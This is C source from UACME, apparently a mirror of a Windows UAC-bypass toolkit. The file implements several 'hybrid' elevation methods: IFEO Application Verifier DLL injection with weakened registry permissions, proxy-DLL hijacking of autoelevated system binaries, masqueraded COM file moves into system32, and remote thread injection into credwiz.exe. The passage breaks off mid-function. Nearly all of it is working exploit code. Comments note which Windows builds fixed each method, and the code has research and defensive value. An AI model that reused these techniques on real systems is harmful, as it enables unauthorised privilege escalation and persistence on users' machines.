mirror of https://github.com/hfiref0x/UACME.git
3516 lines
88 KiB
C
3516 lines
88 KiB
C
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2015 - 2019
|
|
*
|
|
* TITLE: HYBRIDS.C
|
|
*
|
|
* VERSION: 3.19
|
|
*
|
|
* DATE: 01 Sep 2019
|
|
*
|
|
* Hybrid UAC bypass methods.
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
#include "global.h"
|
|
#include "makecab.h"
|
|
#include "encresource.h"
|
|
|
|
LOAD_PARAMETERS_SIREFEF g_SirefefLoadParams;
|
|
|
|
/*
|
|
* ucmMethodCleanupSingleFileSystem32
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Post execution cleanup routine.
|
|
*
|
|
* lpItemName length limited to MAX_PATH
|
|
*
|
|
*/
|
|
BOOL ucmMethodCleanupSingleItemSystem32(
|
|
LPWSTR lpItemName
|
|
)
|
|
{
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, lpItemName);
|
|
|
|
return ucmMasqueradedDeleteDirectoryFileCOM(szBuffer);
|
|
}
|
|
|
|
/*
|
|
* ucmAvrfMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Acquire elevation through Application Verifier dll injection.
|
|
*
|
|
* Fixed in Windows 10 TH1
|
|
*
|
|
*/
|
|
NTSTATUS ucmAvrfMethod(
|
|
_In_ PVOID AvrfDll,
|
|
_In_ DWORD AvrfDllSize
|
|
)
|
|
{
|
|
BOOL bWusaNeedCleanup = FALSE;
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
HKEY hKey = NULL, hSubKey = NULL;
|
|
LRESULT lRet;
|
|
DWORD dwValue = 0x100; // FLG_APPLICATION_VERIFIER;
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
WCHAR szSourceDll[MAX_PATH * 2];
|
|
|
|
UNICODE_STRING ustr;
|
|
OBJECT_ATTRIBUTES obja;
|
|
|
|
do {
|
|
|
|
//
|
|
// Extract file to the protected directory.
|
|
// First, create cab with fake msu ext, second run fusion process.
|
|
//
|
|
RtlSecureZeroMemory(szSourceDll, sizeof(szSourceDll));
|
|
_strcpy(szSourceDll, g_ctx->szTempDirectory);
|
|
_strcat(szSourceDll, HIBIKI_DLL);
|
|
bWusaNeedCleanup = ucmCreateCabinetForSingleFile(szSourceDll, AvrfDll, AvrfDllSize, NULL);
|
|
if (!bWusaNeedCleanup)
|
|
break;
|
|
|
|
// Drop Hibiki to system32
|
|
if (!ucmWusaExtractPackage(g_ctx->szSystemDirectory))
|
|
break;
|
|
|
|
//
|
|
// Set new key security DACL.
|
|
// Red Alert: manually restore IFEO key permissions after using this tool, as they are not inherited.
|
|
//
|
|
if (!ucmMasqueradedAlterObjectSecurityCOM(
|
|
T_IFEO,
|
|
DACL_SECURITY_INFORMATION,
|
|
SE_REGISTRY_KEY,
|
|
T_SDDL_ALL_FOR_EVERYONE)) break;
|
|
|
|
//
|
|
// Open IFEO key.
|
|
//
|
|
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, L"\\REGISTRY\\");
|
|
_strcat(szBuffer, T_IFEO);
|
|
RtlInitUnicodeString(&ustr, szBuffer);
|
|
InitializeObjectAttributes(&obja, &ustr, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
MethodResult = NtOpenKey((PHANDLE)&hKey, MAXIMUM_ALLOWED, &obja);
|
|
if (!NT_SUCCESS(MethodResult))
|
|
break;
|
|
|
|
//
|
|
// Create application key.
|
|
//
|
|
hSubKey = NULL;
|
|
lRet = RegCreateKey(hKey, CLICONFG_EXE, &hSubKey);
|
|
if ((hSubKey == NULL) || (lRet != ERROR_SUCCESS)) {
|
|
MethodResult = STATUS_ACCESS_DENIED;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Set verifier flag value.
|
|
//
|
|
lRet = RegSetValueEx(hSubKey, T_GLOBAL_FLAG, 0, REG_DWORD, (BYTE*)&dwValue, sizeof(DWORD));
|
|
if (lRet != ERROR_SUCCESS) {
|
|
MethodResult = STATUS_ACCESS_DENIED;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Set verifier dll value.
|
|
//
|
|
dwValue = (DWORD)((1 + _strlen(HIBIKI_DLL)) * sizeof(WCHAR));
|
|
lRet = RegSetValueEx(hSubKey, TEXT("VerifierDlls"), 0, REG_SZ, (BYTE*)&HIBIKI_DLL, dwValue);
|
|
if (lRet != ERROR_SUCCESS) {
|
|
MethodResult = STATUS_ACCESS_DENIED;
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Cleanup registry, we don't need anymore.
|
|
//
|
|
RegCloseKey(hSubKey);
|
|
hSubKey = NULL;
|
|
NtClose(hKey);
|
|
hKey = NULL;
|
|
|
|
//
|
|
// Extract file to the protected directory.
|
|
// First, create cab with fake msu ext, second run fusion process.
|
|
//
|
|
RtlSecureZeroMemory(szSourceDll, sizeof(szSourceDll));
|
|
_strcpy(szSourceDll, g_ctx->szTempDirectory);
|
|
_strcat(szSourceDll, HIBIKI_DLL);
|
|
if (ucmCreateCabinetForSingleFile(szSourceDll, AvrfDll, AvrfDllSize, NULL)) {
|
|
|
|
// Drop Hibiki to system32
|
|
if (ucmWusaExtractPackage(g_ctx->szSystemDirectory)) {
|
|
// Finally run target fusion process.
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, CLICONFG_EXE);
|
|
if (supRunProcess(szBuffer, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
}
|
|
ucmWusaCabinetCleanup();
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
if (hKey != NULL) {
|
|
NtClose(hKey);
|
|
}
|
|
if (hSubKey != NULL) {
|
|
RegCloseKey(hSubKey);
|
|
}
|
|
if (bWusaNeedCleanup) {
|
|
ucmWusaCabinetCleanup();
|
|
}
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmWinSATMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Acquire elevation through abusing APPINFO.DLL whitelisting model logic and wusa installer/IFileOperation autoelevation.
|
|
* Slightly modified target and proxydll can work almost with every autoelevated/whitelisted application.
|
|
* This method uses advantage of wusa to write to the protected folders, but can be adapted to IFileOperation too.
|
|
* WinSAT used for demonstration purposes only.
|
|
*
|
|
* Fixed in Windows 10 TH2 (complete vector)
|
|
*
|
|
*/
|
|
NTSTATUS ucmWinSATMethod(
|
|
_In_ LPWSTR lpTargetDll,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize,
|
|
_In_ BOOL UseWusa
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
BOOL bCopyResult = FALSE;
|
|
CABDATA *Cabinet = NULL;
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
if (_strlen(lpTargetDll) > 100) {
|
|
return STATUS_INVALID_PARAMETER_1;
|
|
}
|
|
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
|
|
do {
|
|
|
|
_strcpy(szSource, g_ctx->szSystemDirectory);
|
|
_strcat(szSource, WINSAT_EXE);
|
|
|
|
_strcpy(szDest, g_ctx->szTempDirectory);
|
|
_strcat(szDest, WINSAT_EXE);
|
|
|
|
// Copy winsat to temp directory
|
|
if (!CopyFile(szSource, szDest, FALSE)) {
|
|
break;
|
|
}
|
|
|
|
//put target dll
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, lpTargetDll);
|
|
|
|
//write proxy dll to disk
|
|
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
//
|
|
// Two options: use wusa installer or IFileOperation
|
|
//
|
|
if (UseWusa) {
|
|
|
|
//build cabinet
|
|
_strcpy(szBuffer, g_ctx->szTempDirectory);
|
|
_strcat(szBuffer, ELLOCNAK_MSU);
|
|
|
|
Cabinet = cabCreate(szBuffer);
|
|
if (Cabinet) {
|
|
|
|
_strcpy(szDest, g_ctx->szTempDirectory);
|
|
_strcat(szDest, WINSAT_EXE);
|
|
|
|
//put proxy dll inside cabinet
|
|
cabAddFile(Cabinet, szSource, lpTargetDll);
|
|
|
|
//put winsat.exe
|
|
cabAddFile(Cabinet, szDest, WINSAT_EXE);
|
|
cabClose(Cabinet);
|
|
}
|
|
else {
|
|
break;
|
|
}
|
|
|
|
//extract package
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, SYSPREP_DIR);
|
|
bCopyResult = ucmWusaExtractPackage(szBuffer);
|
|
}
|
|
else {
|
|
|
|
//wusa extract banned, switch to IFileOperation.
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, SYSPREP_DIR);
|
|
|
|
if (ucmMasqueradedMoveFileCOM(szSource, szBuffer)) {
|
|
bCopyResult = ucmMasqueradedMoveFileCOM(szDest, szBuffer);
|
|
}
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
if (bCopyResult) {
|
|
|
|
//run winsat
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, SYSPREP_DIR);
|
|
_strcat(szBuffer, WINSAT_EXE);
|
|
|
|
if (supRunProcess(szBuffer, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
}
|
|
|
|
//remove trash from %temp%
|
|
if (szDest[0] != 0) {
|
|
DeleteFileW(szDest);
|
|
}
|
|
if (szSource[0] != 0) {
|
|
DeleteFileW(szSource);
|
|
}
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmMMCMethodCleanup
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Post execution cleanup routine for MMCMethod(s).
|
|
*
|
|
*/
|
|
BOOL ucmMMCMethodCleanup(
|
|
_In_ UCM_METHOD Method
|
|
)
|
|
{
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
|
|
switch (Method) {
|
|
|
|
case UacMethodMMC1:
|
|
_strcat(szBuffer, ELSEXT_DLL);
|
|
break;
|
|
|
|
case UacMethodMMC2:
|
|
_strcat(szBuffer, WBEM_DIR);
|
|
_strcat(szBuffer, WBEMCOMN_DLL);
|
|
break;
|
|
|
|
default:
|
|
return FALSE;
|
|
break;
|
|
}
|
|
|
|
return ucmMasqueradedDeleteDirectoryFileCOM(szBuffer);
|
|
}
|
|
|
|
/*
|
|
* ucmMMCMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by abusing MMC.exe backdoor hardcoded in appinfo.dll
|
|
*
|
|
*/
|
|
NTSTATUS ucmMMCMethod(
|
|
_In_ UCM_METHOD Method,
|
|
_In_ LPWSTR lpTargetDll,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
LPWSTR lpMscFile = NULL;
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
|
|
if (_strlen(lpTargetDll) > 100) {
|
|
return STATUS_INVALID_PARAMETER_2;
|
|
}
|
|
|
|
do {
|
|
|
|
//check if file exists (like on srv for example)
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
|
|
switch (Method) {
|
|
case UacMethodMMC2:
|
|
_strcat(szDest, WBEM_DIR);
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
|
|
_strcat(szDest, lpTargetDll);
|
|
|
|
if (PathFileExists(szDest))
|
|
break;
|
|
|
|
//target dir
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
|
|
switch (Method) {
|
|
|
|
case UacMethodMMC2:
|
|
_strcat(szDest, WBEM_DIR);
|
|
lpMscFile = RSOP_MSC;
|
|
break;
|
|
|
|
default:
|
|
lpMscFile = EVENTVWR_MSC;
|
|
break;
|
|
}
|
|
|
|
//put target dll
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, lpTargetDll);
|
|
|
|
//write proxy dll to disk
|
|
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
|
|
break;
|
|
}
|
|
|
|
//move proxy dll to target directory
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
break;
|
|
}
|
|
|
|
//run mmc console
|
|
//because of mmc harcoded backdoor uac will autoelevate mmc with valid and trusted MS command.
|
|
//yuubari identified multiple exploits in msc commands loading scheme.
|
|
if (supRunProcess(MMC_EXE, lpMscFile))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmSirefefMethodCleanup
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Post execution cleanup routine for SirefefMethod.
|
|
*
|
|
*/
|
|
BOOL ucmSirefefMethodCleanup(
|
|
VOID
|
|
)
|
|
{
|
|
BOOL bResult1, bResult2;
|
|
WCHAR szBuffer[MAX_PATH * 2];
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, WBEM_DIR);
|
|
_strcat(szBuffer, OOBE_EXE);
|
|
|
|
bResult1 = ucmMasqueradedDeleteDirectoryFileCOM(szBuffer);
|
|
|
|
_strcpy(szBuffer, g_ctx->szSystemDirectory);
|
|
_strcat(szBuffer, WBEM_DIR);
|
|
_strcat(szBuffer, NETUTILS_DLL);
|
|
|
|
bResult2 = ucmMasqueradedDeleteDirectoryFileCOM(szBuffer);
|
|
|
|
return ((bResult1 != FALSE) && (bResult2 != FALSE));
|
|
}
|
|
|
|
/*
|
|
* ucmxElevatedLaunchProc
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Elevation procedure used by Sirefef method
|
|
*
|
|
*/
|
|
DWORD WINAPI ucmxElevatedLaunchProc(
|
|
_In_ LOAD_PARAMETERS_SIREFEF *Params
|
|
)
|
|
{
|
|
SHELLEXECUTEINFOW shexec;
|
|
|
|
shexec.cbSize = sizeof(shexec);
|
|
shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
shexec.nShow = SW_SHOW;
|
|
shexec.lpVerb = Params->szVerb;
|
|
shexec.lpFile = Params->szTargetApp;
|
|
shexec.lpParameters = NULL;
|
|
shexec.lpDirectory = NULL;
|
|
if (Params->ShellExecuteExW(&shexec))
|
|
if (shexec.hProcess != NULL) {
|
|
Params->WaitForSingleObject(shexec.hProcess, INFINITE);
|
|
Params->CloseHandle(shexec.hProcess);
|
|
}
|
|
|
|
return Params->RtlExitUserThread(STATUS_SUCCESS);
|
|
}
|
|
|
|
/*
|
|
* ucmSirefefMethod
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by abusing OOBE.exe backdoor hardcoded in appinfo.dll
|
|
*
|
|
* Simplified, original Sirefef code do all copy operations from zombified process.
|
|
*
|
|
* Fixed in Windows 10 TH2
|
|
*
|
|
*/
|
|
NTSTATUS ucmSirefefMethod(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED, Status;
|
|
SIZE_T memIO;
|
|
|
|
HANDLE hProcess = NULL, hRemoteThread = NULL;
|
|
|
|
HINSTANCE InjectorImageBase = g_hInstance;
|
|
PIMAGE_NT_HEADERS NtHeaders = RtlImageNtHeader(InjectorImageBase);
|
|
LPVOID RemoteCode = NULL, newEp, newDp;
|
|
PLOAD_PARAMETERS_SIREFEF LoadParams = &g_SirefefLoadParams;
|
|
PVOID LoadProc = ucmxElevatedLaunchProc;
|
|
|
|
WCHAR szB1[MAX_PATH * 2];
|
|
WCHAR szB2[MAX_PATH * 2];
|
|
|
|
do {
|
|
|
|
//
|
|
// Drop Fubuki to the %temp% as NetUtils.dll
|
|
//
|
|
_strcpy(szB1, g_ctx->szTempDirectory);
|
|
_strcat(szB1, NETUTILS_DLL);
|
|
if (!supWriteBufferToFile(szB1, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
//
|
|
// Move %temp%\NetUtils.dll to %SystemRoot%\System32\Wbem
|
|
//
|
|
_strcpy(szB2, g_ctx->szSystemDirectory);
|
|
_strcat(szB2, WBEM_DIR);
|
|
if (!ucmMasqueradedMoveFileCOM(szB1, szB2))
|
|
break;
|
|
|
|
//
|
|
// Copy %SystemRoot%\system32\credwiz.exe to %temp\oobe.exe
|
|
//
|
|
_strcpy(szB1, g_ctx->szSystemDirectory);
|
|
_strcat(szB1, CREDWIZ_EXE);
|
|
|
|
_strcpy(szB2, g_ctx->szTempDirectory);
|
|
_strcat(szB2, OOBE_EXE);
|
|
|
|
if (!CopyFile(szB1, szB2, FALSE))
|
|
break;
|
|
|
|
//
|
|
// Move %temp%\oobe.exe to %SystemRoot%\system32\wbem
|
|
//
|
|
_strcpy(szB1, g_ctx->szSystemDirectory);
|
|
_strcat(szB1, WBEM_DIR);
|
|
if (!ucmMasqueradedMoveFileCOM(szB2, szB1))
|
|
break;
|
|
|
|
//
|
|
// Prepare shellcode params.
|
|
//
|
|
RtlSecureZeroMemory(LoadParams, sizeof(LOAD_PARAMETERS_SIREFEF));
|
|
|
|
_strcpy(LoadParams->szVerb, RUNAS_VERB);
|
|
|
|
_strcat(szB1, OOBE_EXE);
|
|
_strncpy(LoadParams->szTargetApp, MAX_PATH, szB1, MAX_PATH);
|
|
|
|
LoadParams->ShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(
|
|
g_ctx->hShell32,
|
|
"ShellExecuteExW");
|
|
|
|
LoadParams->WaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(
|
|
g_ctx->hKernel32,
|
|
"WaitForSingleObject");
|
|
|
|
LoadParams->CloseHandle = (pfnCloseHandle)GetProcAddress(
|
|
g_ctx->hKernel32,
|
|
"CloseHandle");
|
|
|
|
LoadParams->RtlExitUserThread = (pfnRtlExitUserThread)GetProcAddress(
|
|
g_ctx->hNtdll,
|
|
"RtlExitUserThread");
|
|
|
|
//
|
|
// Run host process.
|
|
//
|
|
_strcpy(szB1, g_ctx->szSystemDirectory);
|
|
_strcat(szB1, CREDWIZ_EXE);
|
|
|
|
hProcess = supRunProcessEx(szB1, NULL, NULL, NULL);
|
|
if (hProcess == NULL)
|
|
break;
|
|
|
|
//
|
|
// Inject load code.
|
|
//
|
|
memIO = NtHeaders->OptionalHeader.SizeOfImage;
|
|
|
|
Status = NtAllocateVirtualMemory(
|
|
hProcess,
|
|
&RemoteCode,
|
|
0,
|
|
&memIO,
|
|
MEM_COMMIT | MEM_RESERVE,
|
|
PAGE_EXECUTE_READWRITE);
|
|
|
|
if (!NT_SUCCESS(Status)) {
|
|
MethodResult = Status;
|
|
break;
|
|
}
|
|
|
|
if (RemoteCode == NULL) {
|
|
MethodResult = STATUS_INTERNAL_ERROR;
|
|
break;
|
|
}
|
|
|
|
memIO = NtHeaders->OptionalHeader.SizeOfImage;
|
|
|
|
Status = NtWriteVirtualMemory(
|
|
hProcess,
|
|
RemoteCode,
|
|
InjectorImageBase,
|
|
memIO,
|
|
&memIO);
|
|
|
|
if (!NT_SUCCESS(Status)) {
|
|
MethodResult = Status;
|
|
break;
|
|
}
|
|
|
|
newEp = (char *)RemoteCode + ((char *)LoadProc - (char *)InjectorImageBase);
|
|
newDp = (char *)RemoteCode + ((char *)LoadParams - (char *)InjectorImageBase);
|
|
|
|
Status = RtlCreateUserThread(
|
|
hProcess,
|
|
NULL,
|
|
FALSE,
|
|
0,
|
|
0,
|
|
0,
|
|
(PUSER_THREAD_START_ROUTINE)newEp,
|
|
newDp,
|
|
&hRemoteThread,
|
|
NULL);
|
|
|
|
if (!NT_SUCCESS(Status))
|
|
{
|
|
MethodResult = Status;
|
|
break;
|
|
}
|
|
|
|
if (hRemoteThread != NULL) {
|
|
WaitForSingleObject(hRemoteThread, INFINITE);
|
|
NtClose(hRemoteThread);
|
|
MethodResult = STATUS_SUCCESS;
|
|
}
|
|
|
|
} while (FALSE);
|
|
|
|
//
|
|
// Cleanup (system32\wbem data must be removed by payload code).
|
|
//
|
|
if (hProcess) {
|
|
TerminateProcess(hProcess, 0);
|
|
CloseHandle(hProcess);
|
|
}
|
|
|
|
_strcpy(szB1, g_ctx->szTempDirectory);
|
|
_strcat(szB1, NETUTILS_DLL);
|
|
DeleteFile(szB1);
|
|
|
|
_strcpy(szB1, g_ctx->szTempDirectory);
|
|
_strcat(szB1, OOBE_EXE);
|
|
DeleteFile(szB1);
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmGenericAutoelevation
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by abusing target autoelevated system32 application via missing system32 dll
|
|
*
|
|
*/
|
|
NTSTATUS ucmGenericAutoelevation(
|
|
_In_ LPWSTR lpTargetApp,
|
|
_In_ LPWSTR lpTargetDll,
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
|
|
if (_strlen(lpTargetDll) > 100) {
|
|
return STATUS_INVALID_PARAMETER_2;
|
|
}
|
|
|
|
//put target dll
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, lpTargetDll);
|
|
|
|
//write proxy dll to disk
|
|
if (supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
|
|
|
|
//target dir
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
|
|
//drop payload to system32
|
|
if (ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
|
|
//run target app
|
|
if (supRunProcess(lpTargetApp, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
}
|
|
}
|
|
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmGWX
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bypass UAC by abusing newly added appinfo.dll backdoor.
|
|
* IIS initially not installed in Windows client, but appinfo.dll whitelists IIS application as autoelevated.
|
|
* We will use backdoor from "Get Windows 10" bullshit marketing promo package and exploit it with dll hijacking as usual.
|
|
*
|
|
* Since this method very out-dated (GWX program expired long time ago) starting from 2.5.6 Kongou module removed from program resources.
|
|
* To use it again place KongouXX.cd to the program directory, where XX is platform (32 or 64).
|
|
* Kongou located in project "bin" directory in encrypted and compressed state, Akagi will load, decrypt and decompress it.
|
|
*
|
|
* Fixed in Windows 10 RS1
|
|
*
|
|
*/
|
|
NTSTATUS ucmGWX(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
WCHAR szTargetApp[MAX_PATH * 2];
|
|
|
|
PVOID Data = NULL, Ptr = NULL;
|
|
ULONG DecompressedBufferSize = 0, DataSize = 0;
|
|
|
|
do {
|
|
|
|
//target dir
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
_strcat(szDest, INETSRV_DIR);
|
|
_strcat(szDest, INETMGR_EXE);
|
|
|
|
//File already exist, so IIS could be installed
|
|
if (PathFileExists(szDest)) {
|
|
#ifdef _DEBUG
|
|
supDebugPrint(TEXT("ucmGWX"), ERROR_FILE_EXISTS);
|
|
#endif
|
|
MethodResult = STATUS_OBJECT_NAME_EXISTS;
|
|
break;
|
|
}
|
|
|
|
//summon some unicorns, kongouXX.cd expected to be in the same directory as application
|
|
Ptr = supReadFileToBuffer(KONGOU_CD, &DataSize);
|
|
if (Ptr == NULL) {
|
|
#ifdef _DEBUG
|
|
supDebugPrint(TEXT("ucmGWX"), ERROR_FILE_NOT_FOUND);
|
|
#endif
|
|
MethodResult = STATUS_OBJECT_NAME_NOT_FOUND;
|
|
break;
|
|
}
|
|
|
|
Data = g_ctx->DecompressRoutine(KONGOU_ID, Ptr, DataSize, &DecompressedBufferSize);
|
|
if (Data == NULL)
|
|
break;
|
|
|
|
//write proxy dll to disk
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, SLC_DLL);
|
|
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize))
|
|
break;
|
|
|
|
//drop fubuki to system32\inetsrv
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
_strcat(szDest, INETSRV_DIR);
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
break;
|
|
}
|
|
|
|
//put target app
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, INETMGR_EXE);
|
|
|
|
//write app to disk
|
|
if (!supWriteBufferToFile(szSource, Data, DecompressedBufferSize)) {
|
|
break;
|
|
}
|
|
|
|
//drop InetMgr.exe to system32\inetsrv
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
break;
|
|
}
|
|
|
|
_strcpy(szTargetApp, szDest);
|
|
_strcat(szTargetApp, INETMGR_EXE);
|
|
if (supRunProcess(szTargetApp, NULL))
|
|
MethodResult = STATUS_SUCCESS;
|
|
|
|
} while (FALSE);
|
|
|
|
if (Data != NULL) {
|
|
RtlSecureZeroMemory(Data, DecompressedBufferSize);
|
|
supVirtualFree(Data, NULL);
|
|
}
|
|
|
|
if (Ptr != NULL) {
|
|
supVirtualFree(Ptr, NULL);
|
|
}
|
|
return MethodResult;
|
|
}
|
|
|
|
/*
|
|
* ucmxAutoElevateManifestDropDll
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Drop target dll for ucmAutoElevateManifest.
|
|
*
|
|
*/
|
|
BOOL ucmxAutoElevateManifestDropDll(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
_strcpy(szSource, g_ctx->szTempDirectory);
|
|
_strcat(szSource, CRYPTBASE_DLL);
|
|
if (!supWriteBufferToFile(szSource, ProxyDll, ProxyDllSize)) {
|
|
return FALSE;
|
|
}
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, g_ctx->szSystemDirectory);
|
|
_strcat(szDest, SYSPREP_DIR);
|
|
return ucmMasqueradedMoveFileCOM(szSource, szDest);
|
|
}
|
|
|
|
/*
|
|
* ucmAutoElevateManifestW7
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Special case for Windows 7.
|
|
*
|
|
*/
|
|
NTSTATUS ucmAutoElevateManifestW7(
|
|
_In_ PVOID ProxyDll,
|
|
_In_ DWORD ProxyDllSize
|
|
)
|
|
{
|
|
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
|
|
|
|
WCHAR szDest[MAX_PATH * 2];
|
|
WCHAR szSource[MAX_PATH * 2];
|
|
LPWSTR lpApplication = NULL;
|
|
|
|
do {
|
|
|
|
RtlSecureZeroMemory(szSource, sizeof(szSource));
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
|
|
_strcpy(szSource, g_ctx->szSystemDirectory);
|
|
_strcpy(szDest, g_ctx->szTempDirectory);
|
|
|
|
lpApplication = TASKHOST_EXE;//doesn't really matter, Yuubari module lists multiple targets
|
|
_strcat(szSource, lpApplication);
|
|
_strcat(szDest, lpApplication);
|
|
|
|
// Copy target to temp directory
|
|
if (!CopyFile(szSource, szDest, FALSE))
|
|
break;
|
|
|
|
_strcpy(szSource, szDest);
|
|
|
|
// Copy target app to windir
|
|
RtlSecureZeroMemory(szDest, sizeof(szDest));
|
|
_strcpy(szDest, USER_SHARED_DATA->NtSystemRoot);
|
|
_strcat(szDest, TEXT("\\"));
|
|
if (!ucmMasqueradedMoveFileCOM(szSource, szDest)) {
|
|
break;
|
|
}
|
|
|
|
